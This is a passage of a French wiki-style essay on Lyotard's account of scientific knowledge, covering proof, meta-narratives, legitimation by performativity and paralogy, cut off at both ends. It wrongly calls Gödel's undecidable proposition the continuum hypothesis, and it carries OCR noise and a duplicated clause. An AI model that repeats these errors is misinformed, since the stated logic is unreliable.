qu'est-ce qu'une bonne preuve ? ou encore qu'est-ce qui fait preuve ? La réponse que la science moderne donne à cette question est triple. D'abord, il y a une exigence sur le référent. Exigence essentielle puisqu'elle permet de définir l'objet même de la science: pour être un référent valable d'une science, il faut donner matière à preuve. Une telle exigence ne signifie pas pour autant que "''je peux prouver parce que la réalité est comme je la dis''". Cela impliquerai une condition d'adéquation forte et l'impossibilité radicale d'une preuve fausse. L'exigence de la preuve revient à penser simplement que "''tant que je peux prouver, il est permis de penser que la réalité est comme je le dis''". Secondement, il y a une condition de type métaphysique: on exige que le même référent ne donne pas lieu à plusieurs preuves contraires : ┐ (( ┌ ╟ A ) & ( ┐┌ ╟ A ) ) Ce qui doit se lire: il n'est pas vrai que l'énoncé A puisse être à la fois la conséquence de l'ensemble r et de sa négation ,r . Ce que Descartes exprimai t par le rejet de l' hypothèse d'un Dieu trompeur. Enfin il est une condition qui porte sur la nature même de la preuve et qui se réfère donc à la répétitivité expérimentale. La preuve scientifique suppose que les conditions de l'expérimentation (ou de la démonstration, dans les disciplines mathématiques) soient explicitement fournies et, qu'à partir de là, l'expérimentation soit répétable. <small>(1) Ces formules doivent se lire dans l'ordre comme : De┌ il s'ensuit A ; de la négation de A, il s'ensuit que p et non-p sont vrais ensemble; de la négation de A il s'ensuit l'absurde.</small> <small>(2) Il convient d'entendre cela autrement que pour le récit. Dans la pragmation du récit, l'allocutaire est, ou plus exactement devient un locuteur potentiel du fait qu'il entend le récit. Ce n'est pas le cas ici. La comptétence de l'allocutaire est antérieure à la communication scientifique. Locuteur et allocutaire sont égaux. Ce qui suppose, parrallèlement à la production scientifique une fonction d'enseignement.</small> ====Pragmatique de la circulation du discours scientifique==== La transmission du savoir scientifique est inscrite, comme une exigence fondamentale, dans la pragmatique même de sa production. En effet, pour que cette dernière fonctionne normalement, il est nécessaire qu'un débat - celui qui concerne la vérité des énoncés - existe et le débat scientifique suppose, on l'a vu,des égaux, des pairs. D'où la nécessité de former ces égaux. La pragmatique de l'enseignement diffère de celle de la production en ceci que l'allocutaire ne sait pas ce que sait le locuteur : il est en situation d'ignorance ; il a à apprendre. De là découle le second présupposé: l'allocutaire a la capacité d'apprendre, il peut devenir l'égal du locuteur, il doit pouvoir acquérir la compétence de débatteur. Cette modification dans la position de l'allocutaire transforme bien évidemment la situation pragmatique du référent. Enseigne quelque chose - dans le contexte des sciences - c'est présupposer qu'il existe des énoncés que le consensus de la communauté des savants accepte comme prouvés et donc indiscutables, du moins temporairement. De tels énoncés sont donc soustraits au débat qui caractérise la pragmatique de la production. Ce qui va se jouer, dans la transmission du savoir scientifique ce ne sera donc pas le jeu de la vérité: le "récipiendaire" doit, non pas se prononcer sur la vérité de ce qui lui est enseigné, mais être capable de '''répéter'', de '''reproduire''' les énoncés qui lui sont transmis, ainsi que la panoplie des preuves qui les accompagnent. Il est introduit ainsi, par un artifice dans un débat fictif où on lui demande d'être non pas un interlocuteur, ni a fortiori un contradicteur, mais un autre locuteur, une image, un autre moi-même du locuteur. ====Pragmatique scientifique et pragmatique narrative==== On ne peut faire valablement de la science qu'en en payant le prix, à savoir: isoler des autres jeux de langage, celui-là qui est en propre le jeu de langage de la science: le descriptif, le dénotatif et son critère fondamental la vérité <small>(1)</small>. :"''On est savant [...] si l'on peut proférer un énoncé vrai au sujet d'un référent ; et scientifique si l'on peut proférer des énoncés vérifiables ou falsifiables au sujet de référents accessibles aux experts''". Cet isolement, comme on l'a déjà noté, est à l'origine de la question de la légitimité. En effet, isoler le jeu de langage de la science, cela signifie le mettre à l'écart de l'ensemble des autres jeux de langage dont l'interaction forme le lien social. Ce savoir scientifique n'apparaît plus alors comme :"''une composante immédiate et partagée comme l'est le savoir narratif. Mais il est une composante indirecte, parce qu'il devient une profession et donne lieu à des institutions et que, dans les sociétés modernes, les jeux de langage se regroupent sous forme d'institutions animées par des partenaires qualifiés, les professionnels''". Une telle situation amène à poser le problème du rapport entre la science et l'ensemble de la société (c'est-à-dire, l'ensemble des partenaires qui sont inscrits dans le lien social, lien dessiné par l'agonistique générale, l'interaction des jeux de langage, mais qui ne sont pas des professionnels de la science) ; du rapport entre l'institution scientifique et la société. Un tel problème recoupe directement l'aspect sociétaire de la légitimité. Et on peut douter qu'il soit résolu par un effort didactique <small>(2)</small> . Un autre aspect de l'isolement du savoir scientifique par rapport au lien social, est mis en lumière par le référent de la science. Alors que dans le savoir narratif, c'est le lien social lui-même qui constitue le référent du récit et cela par le rapport immédiat que locuteur et allocutaire entretiennent avec le héros-référent, le discours scientifique ne s'occupe jamais du lien social où sont inscrits ses interlocuteurs : :"''Même s'il s'agit de sciences humaines, le référent qui est alors tel aspect des conduites humaines, est en principe placé en extériorité par rapport aux partenaires de la dialectique scientifique. Il n'y a pas ici, comme dans le narratif, à savoir être ce que le savoir dit qu'on est''". De là découle enfin une caractéristique du discours scientifique, la plus importante peut-être, en ce qui concerne la légitimation: l'isolement du discours scientifique de l'inter action langagière, qui constitue le lien social, l'extériorité de son référent par rapport à ce lien social, ont pour conséquence qu'un tel discours ne peut trouver aucune légitimité dans le fait même de son énonciation, dans le fait d'être inséré immédiatement dans le jeu social. :"''Un énoncé de science ne tire aucune validité de ce qu'il est rapporté''". Sa validité se rapporte toujours à un ensemble de règles pratiques qui ne sont pas celles du récit. Par là se pose la question de la légitimité: comment légitimer un tel discours, un tel ensemble d'énoncés, isolé du jeu social ? Enfin, il faut souligner ici que cet isolement du jeu de langage de la science devrait nous amener à placer le savoir narratif et le savoir scientifique dans une mutuelle indépendance. Il est illusoire de vouloir comprendre l'un par l'autre : :"''On ne saurait juger ni de l'existence ni de la valeur du narratif à partir du scientifique, ni l'inverse : les critères pertinents ne sont pas les mêmes ici et là''". Chaque savoir développe un ensemble d'énoncés qui obéissent à des règles propres et il serait inconséquent soit de sombrer dans la nostalgie d'un savoir narratif perdu, soit d'expliquer l'avènement de la science par un soi-disant développement à partir d'un savoir narratif embryonnaire. Mais, en fait, une telle indépendance, si elle est logique, n'en reste pas moins illusoire. Un voeu pieux. S'il existe une certaine tolérance du narratif par rapport au scientifique, l'inverse n'est pas le cas. Critique, le savoir scientifique s'interroge sur la validité des énoncés narratifs. Interrogations impertinentes, nous l'avons vu, mais qui n'en est pas moins corrosive. Constatant que les énoncés narratifs ne vérifient pas les critères de la vérité qu'il a lui-même fixé, le scientifique rejette le narratif :"''dans une autre mentalité : sauvage, primitive, sous-développée, arriérée, aliénée, faite d'opinions, de coutumes, d'autorité, de préjugés, d'ignorances, d'idéologies. Les récits sont des fables, des mythes, des légendes, pour les femmes et les enfants. Dans les meilleures des cas, on essaiera de faire pénétrer la lumière dans cet obscurantisme, de civiliser, d'éduquer, de développer. Cette relation inégale entre le savoir scientifique et le savoir narratif est un effet intrinsèque des règles propres à chaque jeu. On en connaît les symptômes. C'est l'occident. Il est important d'en reconnaître la teneur, qui le distingue de tous les autres : il est commandé par l'exigence de la légitimation''". <small>(1) Dans les discours scientifiques apparaissent d'autres types d'énoncés non descriptifs, par exemple : des interrogations, des prescriptions, ... Mais ces énoncés ne sont considérés, dans la perspective de la science moderne, que comme des éléments rhétoriques, visant à mettre en évidence ce qui reste le coeur du langage scientifique : l'énoncé descriptif.</small> <small>(2) L'enseignement vise d'abord à assurer le recrutement du corps savant nécessaire à la production et à la reproduction du savoir. La "vulgarisation scientifique" ne vise pas elle à informer les non scientifiques. Elle serait davantage une manière de légitimer la science par le recours au narratif.</small> ==LA LEGITIMATION== La constitution même de ce jeu de langage particulier qu'est la science suppose l'isolement de ce discours qui se veut scientifique, des autres jeux de langage qui forment le lien social. Mais par le fait de cet isolement, le scientifique ne peut plus s'auto-légitimer. Se pose alors avec acuité la question de la légitimation. A cette question, deux types de réponses ont été proposées : les métats-récits modernes d'une part et d'autre part le critère positiviste de la performativité. Nous examinerons ici ces deux réponses, pour terminer en proposant une troisième solution de la légitimation par paralogie. ===Les méta-récits modernes et leur faillite=== Nous commencerons par une remarque; elle est d'importance. Elle concerne non pas telle ou telle forme de récits légitimants, mais plus fondamentalement le rapport qui pourrait exister entre la légitimité du savoir scientifique et la fonction narrative. Nous avons dit déjà que la science moderne, qui s'était fondée sur une rupture d'avec la narration, avait réintroduit en fait et subrepticement, le récit sous sa forme "méta" et cela pour répondre à la question de sa légitimation. Nous avons dit aussi qu'une des caractéristiques fondamentales de la condition post-moderne, est l'incrédulité par rapport ces méta-récits. Mais cette incrédulité est ambiguë. Elle porte davantage, me semble-t-il, sur des méta-récits philosophiques particuliers que sur l'instance narrative elle-même. Comme le note Lyotard : :"''Ce retour narratif dans le non-narratif c'est-à-dire l'utilisation de la fonction narrative pour résoudre la question de la légitimité du non-narratif, à savoir : la science sous une forme ou sous une autre, ne doit pas être considérée comme dépassée une fois pour toute''" Il n'est donc pas exclu que, malgré tout, :"''le recours au narratif soit inévitable ; pour autant du moins que le jeu de langage de la science veuille la vérité de ses énoncés et qu'il n puisse pas la légitimer par ses propres moyens. Dans ce cas, il faudrait reconnaître un besoin d'histoire irréductible...''".<small>(1)</small> D'autre part, nous avons fait débuter la question de la légitimation à l'avènement de la science moderne. Mais en fait, la question de la science et celle de la légitimation sont bien antérieures à la science moderne. Elles trouvent leur origine dans l'avènement de la philosophie grecque et platonicienne. Cela ne signifie pas pour autant que Platon soit le point de départ de la science moderne. Au X VIe siècle, on met au point des critères précis de "vérification" qui caractériseront la science en tant que moderne. Mais, dès l'antiquité grecque, se thématise une rupture entre le savoir traditionnel et un savoir que l'on peut déjà qualifier de "scientifique" <small>(2)</small> et qui vise à une connaissance sûre des choses, une connaissance qui ne repose plus sur l'opinion, mais sur la science des causes, la science des essences: à savoir: la philosophie, mère de toute les sciences. Avec Platon, le jeu de langage philosophico-scientifique, isolé du savoir traditionnel, est donc mis en place et avec lui, le problème de la léqitimation. On trouve dans les Dialogues des réponses à la question de la légitimation, réponses qui prennent la forme du récit. Par exemple: le récit de la caverne. Mais plus encore que tel ou tel récit particulier dont sont émaillés les dialogues platoniciens, c'est la forme même que prend cette réflexion philosophique qui est ici révélatrice, à savoir la forme dialogique. L'effort platonicien d'instaurer une coupure entre le savoir à prétention scientifique et un savoir vulgaire fait d'opinions seulement, cet effort d'institue la "science" se fait dans des "dialogues", c'est-à-dire dans un récit, à travers le rapport d'une discussion scientifique : :"''Le fait est que le discours platonicien qui inaugure la science n'est pas scientifique, et cela pour autant qu'il entend la légitimer. Le savoir scientifique ne peut savoir et faire savoir qu'il est le vrai savoir sans recourir à l'autre savoir, qui est pour lui le non-savoir, faute de quoi il est obligé de se présupposer lui-même et tombe ainsi dans ce qu'il condamne, la pétition de principe, le préjugé''". Dans cette problématique de la légitimation, la science moderne a introduit deux nouvelles composantes: le consensus et le progrès. pour répondre à la question de savoir qui peut, qui a le droit de décider du vrai, la science moderne a tendance à se détourner des constructions de type métaphysique pour reconnaître que : :"''les conditions du vrai, c'est-à-dire les règles du jeu de la science, sont immanentes à ce jeu, qu'elles ne peuvent pas être établies autrement qu'au sein d'un débat déjà lui-même scientifique, et qu'il n'y a pas d'autres preuves que les règles sont bonnes si ce n'est qu'elles font le consensus des experts''". Ce passage d'une légitimation transcendante (que l'on peut trouver chez Platon, par exemple) à une légitimation immanente n'est pas seulement contemporain, mais encore isomorphe à l'avènement, dans la sphère politique, d'un pouvoir nouveau en quête, lui aussi, de légitimation. Il s'agit du pouvoir bourgeois qui tente de supplanter les autorités traditionnelles. Et pour se faire, pour asseoir son autorité, il propose des solutions nouvelles au problème de légitimation politique : le pouvoir ne sera plus légitimer par un droit divin (principe transcendant s'il en est !) , mais par le consensus populaire. Pour opérer cette légitimation nouvelle, la révolution bourgeoise fait appel au récit dont le héros sera le peuple. :"''Le peuple est en débat avec lui-même sur ce qui est juste et injuste, de la même manière que la communauté des savants sur ce qui est vrai et faux''". Mais ce peuple, dont il est question ici, est radicalement différent de la communauté que constituait la narration traditionnelle. C'est sur le modèle de la communauté scientifique s'organise la société bourgeoise. D'où l'avènement d'une science politique, ce qui est impensable dans la perspective des sociétés traditionnelles. On peut donc affirmer que la société bourgeoise, dont la nôtre est immédiatement issue, est fondamentalement une société "scientifique"~ une société dans laquelle non seulement le savoir mais aussi la politique s'isolent de l'agonistique sociale, du lien social. Ce qui présente évidemment un paradoxe puisque l'instance de décision de ce qui est bon socialement, de ce qu'il convient de faire dans une société, se voit isolé de ce qui fait le lien social ! De cette idée de consensus, découle directement la seconde composante de la légitimation: le progrès qui n'est pas autre chose que l'idée de l'accumulation, du perfectionnement du savoir scientifique d'une part et du fonctionnement de la société civile d'autre part. :"''... le peuple accumule les lois civiles comme la communauté scientifique accumule les lois scientifiques ; il perfectionne les règles de son consensus par des dispositions constitutionnelles comme elle les révise à la lumière de ses connaissances en produisant de nouveaux "paradigmes"''". Dans une telle perspective, on verra surgir de nouveaux récits légitimants, adaptés à cette situation nouvelle, créée à la fois par une révolution scientifique et par une révolution politique. Récits qui pourront, de ce fait, prendre une double direction. Soit qu'ils privilégient le sujet comme connaissant, comme producteur de science. Soit qu'ils privilégient le sujet comme pratique, comme producteur d'une société politique. Héros de la connaissance ou héros de la liberté. On reconnaît ici les deux types de méta-récits légitimants dont nous avons déjà parlé: l'épopée hégélienne du savoir absolu ou le récit d'émancipation du sujet libre que nous ont donné les Lumières. Nous n'insisterons pas ici sur le détail de ces méta-récits. Nous indiquerons cependant pourquoi ils ont failli à leur tâche de légitimation, engendrant ainsi la situation post-moderne, caractérisée par la déligitimation. En fait les germes de la déligitimation étaient déjà à l'oeuvre dans les grandes entreprises philosophiques et légitimantes du XIXe siècle. Germes dont l'impact est aujourd'hui sensible, grâce à une conjoncture particulière, marquée essentiellement par le développement vertigineux des techniques et des technologies d'une part et d'autre part par la réussite économique du libéralisme capitaliste. Ce sont ces germes qu'il faut évoquer ici, car, plus encore que les circonstances, ce sont eux qui signent la déligitimation que nous pouvons observer aujourd'hui. Le discours spéculatif de la légitimation, celui du héros connaissant, est le récit de l'avènement de l'esprit absolu. Par là, il lui est possible d'assigner une place à la connaissance scientifique dans cet advenir et donc de la légitimer. Mais en même temps, et sans doute pour la même raison, il nourrit un certain mépris par rapport au savoir positif de la science. Cette dernière, n'étant pas spéculative, ne peut en aucun cas s'identifier au savoir absolu. Elle est en quelque sorte aveugle sur elle-même. Elle ne sait pas qu'elle sait ni pourquoi, ni comment elle sait. Elle ne peut être fondée "scientifiquement" qu'au second degré, par le discours scientifique de la critique. :"''Une science qui n'a pas trouvé sa légitimité, n'est pas une science véritable, elle tombe au rang le plus bas, celui d'idéologie ou d'instrument de puissance, si le discours qui devrait la légitimer apparaît lui-même comme relevant d'un savoir pré-scientifique, au même titre qu'un vulgaire récit''". Et Lyotard ajoute : :"''Ce qui ne manque pas de se produire, si l'on retourne contre lui les règles du jeu de la science qu'il dénonce comme empirique''". Soit un énoncé A produit par une discipline scientifique donnée. Le philosophe spéculatif prétendra que cet énoncé A n'est scientifique que si et seulement si il se situe dans le processus universel d'engendrement de l'esprit. Lequel est la vie même de l'esprit spéculatif. Mais il est évident qu'on peut retourner la question et demander si l'énoncé philosophique: "l'énoncé A n'est scientifique que si et seulement si. . ." est lui-même scientifique au sens qu'il définit. La réponse est affirmative, aux yeux du philosophe spéculatif, car son discours se présente comme l'expression même de la vie de l'esprit et donc, de ce fait, ses énoncés se situent de droit dans le processus universel d'engendrement de l'esprit. Mais si l'on refuse cet apriori théorique, à savoir que le discours philosophique est de droit scientifique par ce qu'il est l'expression de la vie de l'esprit, alors ce discours philosophique apparaît comme un récit non-scientifique et cela signe la faillite de l'entreprise de la légitimation. On voit donc clairement l'enjeu de cette légitimation spéculative. Enjeu qui se trouve tout entier dans les présupposés du discours philosophique... Mais une autre approche est évidemment possible, celle-là même qui se formule en termes de jeux de langage. On y reviendra, mais notons déjà que cela suppose l'abandon d'une perspective strictement sémantique qui s'interroge sur la vérité d'un énoncé comme celui-ci : "L'énoncé spéculatif est scientifique" est un énoncé scientifique", et l'adoption d'une perspective [[pragmatique]]. Là où les présuppositions deviennent alors l'ensemble des règles qui déterminent le fonctionnement de ce jeu de langage que l'on nomme spéculatif. Mais cette perspective implique également que l'on renonce à l'entreprise de légitimer les productions scientifiques et qu'au contraire, on les accepte comme la forme exemplaire du savoir. Toutefois, on peut admettre que ces énoncés scientifiques impliquent des présuppositions (d'ordre formel et axiomatique) qu'il faut toujours être en mesure d'expliciter. On voit donc que le discours philosophico-spéculatif est miné de l'intérieur par l'exigence même de légitimation et qu'il supporte difficilement la rétorsion de la question qu'il pose : celle de la scientificité. Quant à l'autre type de discours légitimant, qui se fonde sur le récit de l'émancipation du sujet libre, il légitime la science par référence, non au développement de la vie de l'esprit, mais à l'auto-fondation de la liberté par ce sujet qu'est l'humanité. :"''Le sujet est un sujet concret ou supposé tel, son épopée est celle de son émancipation par rapport à tout ce qui l'empêche de se gouverner lui-même. On suppose que les lois qu'il se donne sont justes, non parce qu'elles sont conformes à quelque nature extérieure, mais parce qu'elles sont conformes à quelque nature extérieure, mais parce que par constitution les lois, et qu'en conséquence la volonté que la loi soit juste, qui est celle du législateur, est toujours identique à la volonté du citoyen qui est de vouloir la loi et donc de l'observer... Dans cette perspective, le savoir positif n'a pas d'autre rôle que d'informer le sujet pratique de la réalité dans laquelle l'exécution de la prescription doit s'inscrire... Le savoir n'est plus le sujet, il est à son service ; sa seule légitimité, c'est de permettre à la moralité de devenir réalité''". Or ce qui fait problème ici, c'est l'articulation même que le récit de l'émancipation tente d'instaurer entre le savoir théorique et la raison pratique. Il semble bien qu'au contraire, il faille reconnaître une mutuelle indépendance entre ces deux registres de la raison qui constituent autant de jeux de langage. D'où un effet de déligitimation : on ne peut légitimer la science par référence à la pratique morale ou sociale. Ni l'inverse d'ailleurs. Face à cet échec des méta-récits légitimants, deux solutions ont été élaborées; la légitimation par la performativité directement inspirée par le positivisme logique du début du siècle (le Cercle de Vienne) ou dans le prolongement de la perspective tracée par [[Wittgenstein]] et ses jeux de langage : la légitimation par la paralogie. <small>(1) On pourrait apporter comme preuve de ce recours, jugé nécessaire, au narratif, l'ensemble des efforts qui sont aujourd'hui consentis pour l'information et la vulgarisation scientifiques. Le plus souvent il s'agit de récits qui racontent l'épopée d'un savoir, qui lui est parfaitement non-épique. En fait, l'information et la vulgarisation scientifiques, telles qu'elles se développent dans les grands média, satisfont aux règles du jeu narratif.</small> <small>(2) parler d'un savoir "scientifique" ne signifie pas que l'on se réfère à la science moderne. Cette dernière apparaît comme une des formes possibles que peut prendre la science.</small> ===La légitimation par la performativité=== La recherche scientifique actuelle a été modifiée profondément dans sa pragmatique et cela en deux points essentiels qui intéressent particulièrement la problématique de la légitimation. Il s'agit d'une part de l'argumentation et d'autre part de l'administration de la preuve. '''A'''. De nombreux philosophes ont tenté de définir une "méthode scientifique", c'est-à-dire un ensemble des règles que doit suivre un locuteur pour produire un énoncé à prétention scientifique. Mais à regarder de près le fonctionnement de la recherche scientifique, on s'aperçoit que cette dernière s'accorde généralement beaucoup de libertés avec les définitions strictes d'une méthode scientifique <small>(l)</small> : "''elle use de langages ( ... ) dont les priorités démonstratives semblent un défit à la raison des classiques''". Toutefois, s'il ne semble pas que l'on puisse imposer des restrictions sur le contenu de tel ou tel langage, l'utilisation de ces langages par la science n'est pas guelconque. Il existe une règle pragmatique qui demande d'expliciter les règles propres à l'usage d'un langage. Ou, en d'autres termes, de définir une axiomatique qui comprend classiquement : * un lexique; * un ensemble d'axiomes; * enfin un ensemble de règles de dérivation qui permettent d'engendrer, à partir des axiomes, des expressions considérées comme valides : les théorèmes. On voit comment une axiomatique recoupe exactement le problème de l'argumentation: grâce aux règles de dérivation (ou d'inférence) on peut rendre explicite la structure argumentative du langage. La procédure qui permet d'engendrer, de manière réglée, un théorème à partir des axiomes, ce n'est pas autre chose que la preuve du théorème en question; c'est l'argumentation par laquelle on peut faire admettre ce théorème, par le consensus scientifique. Mais l'utilisation de la méthode axiomatique engendre une insatisfaction. Il ne semble pas possible de justifier le choix des axiomes. Au moins à priori. Le seul critère retenable serait un critère empirique à posteriori, à savoir: la fécondité théorique de telle ou telle axiomatique. Mais ici encore, s'il n'existe pas de critères quant au contenu des systèmes axiomatiques, il existe pourtant une discipline scientifique qui étudie les propriétés de ces systèmes: la logique. Ces propriétés sont les suivantes : * la consistance: un même système d'axiomes ne peut, sous peine d'inconsistance, engendrer n'importe quel énoncé. Par exemple si l'énoncé P est un théorème, alors ,P ne peut pas être un théorème. Sinon le système sera dit inconsistant par rapport, à la négation. * la complétude: un système d'axiomes est complet s'il est en mesure d'engendrer tous les théorèmes. Si on ajoute un nouvel axiome, le système perd sa consistance. * la décidabilité: pour toute formule bien formée dans un langage donné, il existe une procédure effective qui permet de décider s'il s'agit ou non d'un théorème. l'indépendance des axiomes, qui ne sont pas déductibles l'un de l'autre. Or, en étudiant les axiomatisations possibles de l'arithmétique, [[K. Gödel]] a montré qu'il existe, dans le système arithmétique, une proposition qui n'est ni démontrable, ni réfutable par ces axiomatisations. Cette proposition a reçu le nom d'hypothèse du continu. De là, il faut conclure que "''le système arithmétique ne satisfait pas à la condition de complétude''". Il est en outre possible de généraliser ce résultat de Gödel et de montrer que tout formalisme possède des limitations intrinsèques. Ce qui revient à dire que : :"''La métalangue utilisée pour décrire un système artificiel (axiomatique) est la "langue naturelle" ou "langue quotidienne" ; cette langue est universelle puisque toutes les autres langues se laissent traduire en elle ; mais elle n'est pas consistante par rapport à la négation : elle permet la formation de paradoxes''". La situation est donc la suivante: considérons un langage quelconque L (l'arithmétique dans le cas de G5del) . Soit ML le métalangage qui contient les règles d'engendrement des énoncés du langage-objet L. :"''Dans le langage-objet, il existera au moins une phrase vraie, mais non démontrable dans le langage-objet. Elle sera donc nommable dans le métalangage mais sa démonstration ne sera nommable que dans le métalangage de la métathéorie de ce langage et ainsi de suite''". C'est précisément cette nécessité de recourir à un métalangage de deuxième ordre (ML*) qui oblige le retour de la langue naturelle. Car si l'énoncé A du langage-objet L n'est pas démontrable dans ML (bien que A soit vrai) , mais bien dans un métalangage de second ordre ML*, qui est le métalangage de r1L, ce dernier se trouve en position de langage objet par rapport à ML-. Il contiendra donc lui aussi un énoncé B, vrai, nommable, mais non démontrable dans ML-. D'où la nécessité de recourir à un langage ML** , métalangage de ML*, dans lequel B sera démontrable. Et ainsi de suite. La seule manière d'échapper à cette hiérarchie infinie de métalangages consiste à introduire la langue naturelle et universelle, mais source de paradoxes. Schématiquement : L qui contient A, vrai, mais non démontrable dans ML. A est démontrable dans ML. - ML qui contient B, vrai, mais non démontrable dans ML*. B est démontrable dans ML** - ML* qui contient C, vrai, mais non démontrable dans ML.*. C est démontrable dans ML.* - M** qui contient D.., Cela revient à accepter qu'il ne peut exister de métalangage universel (autre que la langue naturelle, mais qui est inconsistante) . Il n'est dès lors plus possible, en dehors de la langue naturelle, système inconsistant, de produire une justification, une explication exhaustive des fondements de la science. Et donc : :"''Le principe d'un métalangage universel est remplacé par celui de la pluralité des systèmes formels et axiomatiques capables d'argumenter des énoncés dénotatifs, ces systèmes étant décrits dans un méta-langue universelle mais non consistante''". Mais l'apparition d'une telle pluralité de systèmes formels va, en contrepartie, renforcer le rôle du consensus des experts, qui, en dernière analyse, décidera de l'acceptation ou du rejet de tel ou tel système formel particulier. La liaison, que l'on va analyser maintenant, entre le jeu scientifique et le jeu du pouvoir, fera facilement adopter la performativité comme critère décisif qui règle le débat entre les experts. '''B'''. Avec le problème de l'administration de la preuve, nous sommes toujours dans la problématique de l'argumentation. Mais plutôt que d'examiner, comme nous venons de le faire, la structure formelle de l'argumentation, c'est le problème de la référence d'une (ou des) théorie(s) scientifique(s) qui est maintenant soulevé. En effet, produire une preuve, c'est "''faire constater un fait''". Sans discuter ici la nature épistémique du "fait" ( - est-ce que quelque chose existe en dehors du discours scientifique ou au contraire s'agit-il de quelque chose de produit par ce même discours ? <small>(2)</small> - ), il faut réfléchir ici sur la manière dont s'opère le constat du fait. Il se fait par la médiation des techniques qui fournissent à l'homme des "prothèses" capables de multiplier considérablement ses possibilités d'investigation. Or ces techniques constituent autant de "''jeu dont la pertinence n'est ni le vrai, ni le juste, ni le beau etc., mais l'efficient : un coup technique est "bon" quand il fait mieux et/ou quand il dépense moins qu'un autre" (3) . Cette performativité n'est requise qu'au niveau du fonctionnement propre du système technique : on lui demande de fournir plus d'informations ou de meilleure qualité ("faire mieux") sur la base d'input moins importants ("dépenser moins") . Mais la mise au point de tels systèmes techniques de plus en plus performants est de moins en moins laissée à des "amateurs". Elle requiert des investissements importants, tant en capitaux qu'en hommes. D'où la constatation suivante : :"...les appareils qui optimisent les performances du corps humain en vue d'administrer la preuve exigent un supplément de dépense. Donc pas de preuve et pas de vérification des énoncés, et pas de vérité, sans argent. Les jeux de langage scientifique vont de venir des jeux de riches, où le plus riche a plus de chance d'avoir raison. Une équation se dessine entre richesse, efficience, vérité''". Et on peut décrire le circuit économico-scientifique suivant : :"''Un dispositif technique exige un investissement ; mais puisqu'il optimise la performance à laquelle il est appliqué, il peut optimiser ainsi la plus-value qui résulte de cette meilleure performance. Il suffit que cette plus-value soit réalisée, c-à-d que le produit de la performance soit vendu. Et l'on peut boucler le système de la façon suivante : une partie du produit de cette vente est absorbée par le fond de recherche destiné à améliorer encore la performance. C'est à ce moment précis que la science devient une force de production, c-à-d un moment dans le circulation du capital''"<small>(3)</small>. Cette subordination du progrès scientifique à celui de l'investissement financier, par le biais à des techniques, a évidemment des répercussions profondes sur le problème de la preuve et sur celui de la légitimation. La production de la preuve, et par elle, l'argumentation toute entière, sera désormais réglée par un autre jeu de langage, étranger, au moins en principe, au jeu de langage àe la science: son enjeu ne sera plus la vérité, mais la performativité. Comme le constate Lyotard : :"''L'Etat et/ou l'entreprise abandonne le récit de légitimation idéaliste [[Hegel]] ou humaniste [[Les Lumières]] pour justifier le nouvel enjeu : dans le discours de bailleurs de fonds d'aujourd'hui, le seul enjeu crédible, c'est la puissance. On n'achète pas des savants, des techniciens et des appareils pour savoir la vérité, mais pour accroître la puissance''". D'où la question se pose de savoir si un tel discours de la puissance peut constituer une véritable légitimation. En première analyse, une réponse positive semble pouvoir être donnée à cette question. Et cela sur la base même de l'analyse performative que nous avons donnée des énoncés descriptifs de la science: la performativité au discours scientifique se mesure à l'effet qu'il a sur le réel en l'organisant. Nous avons d'ailleurs déjà rencontré ce problème en examinant le discours théorique de la sociologie. Nous avons en effet constaté qu'un discours sociologique a d'autant plus de chance de se voir accepté par le consensus des experts qu'il se trouve en position de puissance. C'est-à-dire qu'il se trouve être celui qu'adoptent les décideurs, les "technocrates", capables de modifier la réalité sociale pour la rendre conforme à la théorie sociale qui est la leur <small>(4)</small>. On peut généraliser cette observation à l'ensemble des discours de savoir et penser que :"''... la performativité, en augmentant la capacité d'administrer la preuve, augmente celle d'avoir raison : le critère technique introduit massivement dans le savoir scientifique ne reste pas sans influence sur le critère de vérité. (...) C'est ainsi que [[Luhman]] croit constater dans les sociétés post-industrielles le remplacement de la normativité des lois par la performativité des procédures. Le 'contrôle du contexte", c-à-d l'amélioration des performances réalisées contre les partenaires qui constituent ce dernier (que ce soit la "nature" ou les hommes) pourrait valoir comme une sorte de légitimation. Ce serait une légitimation par le fait''". Et Lyotard de commenter cette légitimation par le fait, de la manière suivante : :"''L'horizon de cette procédure est celle-ci : la "réalité" étant ce qui fournit les preuves pour l'argumentation scientifique, (...) on se rend maître de ces preuves en se rendant maître de la "réalité", ce que permettent les techniques. En renforçant celles-ci, on "renforce" la réalité, donc les chances d'avoir raison. Et réciproquement, on renforce d'autant mieux les techniques que l'on peut disposer du savoir scientifique et de l'autorité décisionnelle. Ainsi prend forme la légitimation par la puissance''". <small>(1) Certains philosophes américains en viennent même à penser que la recherche scientifique fonctionne, en fait, sur e principe d'un anarchisme théorique. Ce qui se traduit, dans les termes d'une agonistique générale :: n'importe quel "coup théorique" est bon pourvu qu'il produise la connaissance.</small> <small>(2) Sans théorie, il existe que le "rien", la "chose" non autrement déterminée. La théorie est précisément ce qui opère sur ce "rien", sur cette "res" (en latin, la chose) pour en faire un fait, quelque chose de fait.</small> <small>(3) Le principe qui commande le fonctionnement de ces machines techniques est celui de la performativité : l'optimisation des performances.</small> <small>(4) On peut rappeler ici ce qui a été dit plus haut de la mercantilisation du savoir, qui en vient à suivre les mêmes canaux de circulation que le capital.</small> ===La légitimation par paralogie=== Mais la légitimation par la performativité n'est pas à l'abris de toute critique. La plus fondamentale semble être qu'elle repose sur l'hypothèse du déterminisme: la performativité :"''... se définissant par un rapport input/output, il faut supposer que le système dans lequel on fait entrer l'input est à l'état stable ; il obéit à une "trajectoire" régulière dont on peut établir la fonction continue et dérivable qui permettra d'anticiper convenablement l'output. Telle est la "philosophie" positiviste de l'efficience''". En fait, si la légitimation par la performativité, héritée directement de la technicisation de la recherche scientifique, rejette les métas-récits légitimants de l'époque moderne, elle s'inscrit néanmoins dans le projet de la science classique et moderne. Chez les technocrates, on trouve le renforcement de cette idéologie scientiste thématisée par le courant positiviste. Or, à considérer de près les recherches actuelles dans différents secteurs et disciplines scientifiques, on observe une pratique et un projet qui semble remettre en cause les a-priori théoriques de la science classique. Par exemple, :"''La théorie quantique et la micro-physique obligent à une révision beaucoup plus radicale de l'idée de trajectoire continue et prévisible. La recherche de la précision ne se heurte pas à une limite due à son coût, mais à la nature même de la matière. Il n'est pas vrai que l'incertitude, c-à-d l'absence de contrôle, diminue à mesure que la précision augmente : elle augmente aussi''". Prenons le cas de la mesure de la densité vraie (rapport masse/ volume) de l'air contenu dans une sphère. Si l'on opère des mesures macroscopiques, on obtiendra des mesures quasiment identiques. Et par là, on pourra conclure que le milieu "air" de la sphère est réparti d'une manière homogène, continue. Mais si on diminue progressivement l'échelle des mesures pour atteindre l'ordre du rayon 